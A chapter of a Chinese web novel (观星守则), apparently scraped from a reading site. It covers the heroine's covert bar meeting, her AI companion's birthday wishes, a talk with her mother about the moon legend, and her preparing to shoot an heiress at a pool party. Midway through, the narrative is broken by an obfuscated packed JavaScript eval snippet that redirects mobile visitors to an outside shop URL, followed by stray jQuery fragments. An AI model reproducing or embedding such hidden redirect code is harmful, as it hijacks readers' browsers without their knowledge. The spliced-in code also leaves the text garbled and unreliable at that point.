文趣网 > 都市小说 > 观星守则[快穿] > 13. I.金鱼 13
    岩鲨约的时间说是晚上,实则应该算凌晨。

    秦艽依旧从窗户离开,没走正门。

    这天凌晨两点整,她推开“暗夜”酒吧的门。

    秦艽已经换了身常服,门上铃铛叮当作响,她们约的两点十分碰头。

    她环顾一圈,想找到疑似巨刃女朋友的身影,无果。

    这里居然连个调酒师的影子都没看到。

    她走到吧台前,敲了敲台面的玻璃:“要一台‘血腥玛丽’。”

    这是她和岩鲨定下的暗号。

    正在擦洗杯子的酒保淡淡地瞥她一眼,放下手上的东西,把秦艽带到酒吧深处临江的卡座旁。

    .

    聊完之后,秦艽和岩鲨没有一同离开。这太显眼了。

    岩鲨先走,她还要赶回去换班。秦艽又坐到吧台前,打算在这里待一会儿。

    “喝什么?”

    这会儿酒吧里人不多,一位调酒师打扮的女性靠过来问她。表情冷淡,秦艽对于对方主动和她搭话感到惊讶。

    “一杯冰水。”她答道。

    对方点了点头,无可无不可地转过身去拿冰块和水。

    “在‘暗夜’里坐着居然不喝酒。年轻人,”秦艽还没喝上,一位头发全白的老人坐到她身侧,“你的伪装还没到家。”

    秦艽握紧袖中的武器,时刻准备应对可能爆发的交火。

    老人笑了笑:“别担心,我没有恶意。我这一把老骨头,已经是半截身子入土的人了,早就不参与这些纷争了。”

    “况且我也早已厌倦了。”她喝口酒,望了望前方,但那双眼睛是在看一些更遥远、也久远的事物。

    “这个世界,争来争去的还是一个样子。从来没有点长进。现在我们是二十一世纪,还不算公元前。整整两千一百多年,太阳底下都没点新鲜事。”

    她用她苍老的声音说道,颇有点自说自话、自得其乐的意思:“你可能觉得我要说了,人类真是没点长进。但我不想这么说。”

    她笑了笑:“我认为说不定以后,也许就在我还活着的时候,这个世界会有所不同。”

    “相信自己,也相信你眼中的世界。”

    秦艽为这句话大受震撼,对方好像知道自己在想什么、担心什么、有什么疑虑似的;她忍不住抬眼看向老人,撞进了她深邃的眼眸。对方朝她微微一笑,睿智的眼神犹如一汪深潭。

    她朝她举杯:“敬颓废的二十一世纪。”

    秦艽端起她面前那杯冰水,同样回敬:

    “敬颓废的二十一世纪。”

    她们碰杯。

    .

    哪怕没喝酒,在酒吧待了几个小时,秦艽依旧一身酒味。

    距离计划中的下一次行动还有整整一天,她随便找了家路边的旅馆,看到墙上显示的日期才想起今天是自己的生日。

    一时间有些怔然。

    “生日快乐。”01的声音适时响起。

    “虽然我没法改变这个现实世界的物品,但我可以给你造一个虚拟蛋糕,然后你可以吹一根虚拟蜡烛。”

    秦艽忍俊不禁:“你又检测到我的情绪低落了吗?”

    “那倒没有。但这毕竟是这个世界里你的生日。”

    “‘这个世界’?”秦艽问,“在不同世界里生日会不一样吗?”

    “目前看来是这样的。”01答道,“毕竟无论哪种文化都有相似的说法,认为人的一生由出生的时间决定。有时候还要加上地点,描绘那个时间、地点天上的星图,谓之曰‘命’,就叫‘占星’。而你不可能每个世界都是同一种命运。”

    “就像糟糕也有不同的糟糕法。一个道理。”01补充。

    嗯嗯哦哦。

    管不了那么多了,秦艽听完01的叙述,到了房间倒头就睡,简直是铺天盖地地睡死过去。

    .

    “这段时间的事情,有多少是你的手笔?”司徒临岳问司徒怀翊。

    “您是指哪些?”司徒怀翊轻声说。

    “全部。”

    司徒临岳没给司徒怀翊回答的时间:“我让你查案子,把文件拿回来,你呢?你做的哪些是为了这两件事情?”

    “家族需要一次清理。”司徒怀翊摆弄着手腕上的袖扣,慢条斯理地说,“别人家的,我可以自己动手,我们家的,我只好请人来做了。”

    “所以你就选了那个乳臭未干的小子?”

    司徒怀翊轻笑:“我也是这个年纪,母亲。再说了,您对她如此关注,不恰恰证明,您也很欣赏她吗?”

    司徒临岳摆了摆手,司徒怀翊看得清楚,那是不满他戳穿她的表情。

    他又说:“在权欲里浸淫久了,就舍不得一直握在手里的东西。下手没那么彻底,也没那么干净。但我们不一样。我们在被这个庞大的体系同化的同时,还保留了一些作为‘人’的尊严,有一些足够下手的魄力。”

    司徒临岳默然:“……你就这么评价你的母亲?”

    “母亲,”司徒怀翊忍俊不禁,“我不认为您是这样,才会跟您分享这些。您不会阻止我的,对吧?”

    司徒临岳没说话,看样子是一种默许。

    司徒怀翊:“毕竟您曾经说过,置身于斯,除了自身的存在,一切皆为外物。如果轻易被外物所操控,那么这个人就不再位于所以为‘人’的区域,而是变得更像那些外物了。”

    .

    谈话告一段落,司徒怀翊转身离开的时候,司徒临岳又叫住他。

    “你最近一直住在那套房子里?”

    司徒怀翊挑了挑眉,点头。

    “……那套秦艽有权限、也知道密码的房子里?”司徒临岳又重复地问了一遍。

    是啊,不过她一般不走门。

    司徒怀翊心里这样想,依旧点点头。

    司徒临岳大受震撼。可能她确实不再年轻了,很难搞懂这个年纪的人到底在想些什么。

    “你们两个也真是有趣。不知道说是单纯还是无畏,一个不怕对方利用权势给她整死,一个不怕对方拿着武器把他杀了。你刚刚说的拥有得太久就会舍不得,我看倒是也能用在这里。”

    司徒临岳兀自点点头,说道:“我活得久了,所以没那么不要命。”

    .

    该做的事情都做了,休息也休息过了,接下来就是漫长的等待。秦艽走在陌生的街道上,却不知道往哪去。

    偌大的城市里好像没有一个可以让她无忧无虑栖身的地方。

    回想起来,之前在司徒怀翊那座房子里,面对彼此之间如此悬殊的差距,那段时间居然是秦艽这几天想得最少的时候。

    秦艽回到家,正好和妈妈打了个照面。

    秦月娥看到她也愣了愣,随即脸上露出了难以言喻、秦艽也无法形容的表情。

    她就用那样的表情细细端详了秦艽片刻:

    “……今晚在家吃饭吗?有好长一段时间没回家了吧?”

    秦艽看了看时间,现在已经是晚上八点。不知道为什么,她嗓子干涩,咳又咳不出来。她努力克服这种滞涩,发声却只吐出一句:

    “嗯。”

    也不知道是对哪个问题的回答。

    “宝宝,你这段时间变了好多。这是你希望的改变吗?”

    秦月娥以一种奇妙的怜爱神情抚摸她的额头,秦艽感觉到一股令人心安、不由自主松懈下来的困意。

    她沉迷在这种诡异的安宁里,没说话。

    秦月娥依旧从事着教师的工作,从正规的学校到贫民窟的棚屋。

    无论在哪里,孩子们都喜欢叫她“月娥老师”、“月娥老师”……

    她教孩子们语文。

    字母、拼音、词语、语法、句子……教流传千载的文章、诗词里蕴含的思想、情感,过往留下表达的、形形色色的人的生平,关于他们如何安身立命。

    在秦艽小时候,她也是这样一章一章、一段一段、一字一句地讲给她听。知识和智慧在文字间流淌,或许也传承下去。

    晚上隔着云层找星星的时候,一边说着“星尽四方高,万物知天曙”,一边聊自己生活中的事情。今天干了什么啦,看到些什么啦,有哪些新的想法和认识啦……

    但她们已经好久没这样过了。

    .

    好在赛塔州的夜晚一贯如此。不是云层就是浓厚的灯光。喜欢看天的人不会在意天空怎样。因为自始至终,她们看到的都是自己的心境。

    令秦月娥欣慰的是,秦艽没有丢掉这一爱好。

    她们搬了椅子,坐到家里最大的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866941|212124||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一扇窗前,这里可以看到一小片天空。

    虽然眼前是浓厚的云层,但她们都知道,天空里不止有星星,还有月亮。

    秦月娥想起“嫦娥奔月”的传说,联想到自己的名字。她想借此机会对秦艽说:

    “都说我的名字会让人想起嫦娥,实际上我的妈妈就是按照这个传说来给我取的。她希望我能像嫦娥一样,拥有她的那些美好品质。”

    她讲话的腔调也和教书时的一样,有一种娓娓道来的感觉。

    “嫦娥还有个名字叫作‘恒我’,面对强权……不,是面对这个世界,做你自己想做的事情。时不时抬头望望天空。不要被这个世界改变。”

    “当然。”秦月娥补充,“这很理想化。但我们可以把它当作一个美好的设想,可以为之努力的目标。”

    秦艽跟随母亲的目光看向天空,她清楚母亲的言下之意。母亲是在问她,做这一切的时候有没有遵从内心、究竟是不是她的本意。

    是的。

    是吧。

    她现在已经不想去管那些宏大的对错与正义,只想守护住自己当下的生活。

    她想要的不仅仅是自己不被改变。

    她还想改变这个世界。

    .

    洛之姚解下外套,身后跟着的人悄无声息地接住、收好。

    舒适的温度,舒适的环境,舒适的一切……她这辈子还没感受过多少环境给她带来的不适。只因为这是她们与生俱来的东西。

    你如果要问洛之姚如何评价,她会说这是她应得的东西。并且她的生活太过无聊,缺少刺激。

    ——什么都见过了,什么都享受过了,还要怎么获得满足?

    ……空虚,焦躁,厌烦,腻味,她无时无刻不在渴望着更大的、更不一样的事物。

    世间的一切都朝她一股脑地涌来,并且不用为此付出任何代价。生命就是无限扩张……无限扩张,并且在无限的扩张中空虚。

    佣人推开门,洛之姚离开别墅,走向泳池。

    今天她会在此举办一场派对,应该说这是她每个月的惯例。

    至少一次。

    泳池边的空气又湿又热,阳光铺天盖地地砸下来,亮得刺眼,整个世界都在过曝。

    今天又要享受点什么样的刺激呢?

    .

    炎热的天气,全副武装,密密麻麻的汗珠淌下,秦艽隐匿在树上,握着这把陪伴了她这几天的枪,屏住呼吸,没发出一点声音。

    这是洛家名下一套别墅,也是洛之姚住的次数相对最多的房产之一。

    尽管可能每个月也只住几天。

    对她们来说,砸钱也只是听个响。对于洛家来说,只要他们想,整个赛塔州的金钱都可以是他们的。

    下面的人在游泳池边狂欢。

    酒是用来填满泳池的液体,它被撒向空中,然后落到地上。一杯一杯满上,干了,然后跳入灌满泳池的酒中,醉吧,喝得越多越好,把整个世界都抛下,反正她们也不在乎这些。

    是世界要在意她们。

    音乐声震耳欲聋,人群时不时爆发一阵哄笑与骚动。即使秦艽不用消音器,这些人恐怕也听不见枪声。

    他们打死也想不到有些人居然敢潜入这里来暗杀吧。

    洛之姚坐在整个派对的中心,旁边是秦艽在学校也认识的、她的跟班,赵桐。不过据有些人说,她们之间的关系远不止于此。

    洛之娸也在。

    酒,药,男人……放浪形骸,奢靡无度,这就是她们当下的生活。

    她们在纵情享乐,甚至到了骇人听闻的地步。

    为什么生存空间缩减到不能再缩减的人们,连活下去都成了问题,而和她们一样出身的人们,他们却肆无忌惮,连一点与生存有关的担忧都不会有?

    如果生命的开端是跃入海洋,那么这些人一开始就拥有整片海域。他们的世界是永远开阔的,他们想去什么地方就可以去什么地方。

    而自己呢?与自己一样的人呢?

    为什么大多数人可供生存的水域都越来越少?

    他们越游越窄,越游越小,未来浑浊而不可捉摸,四处碰壁,危机四伏,最后到游无可游,无处容身的地步。

    .

    秦艽端起枪。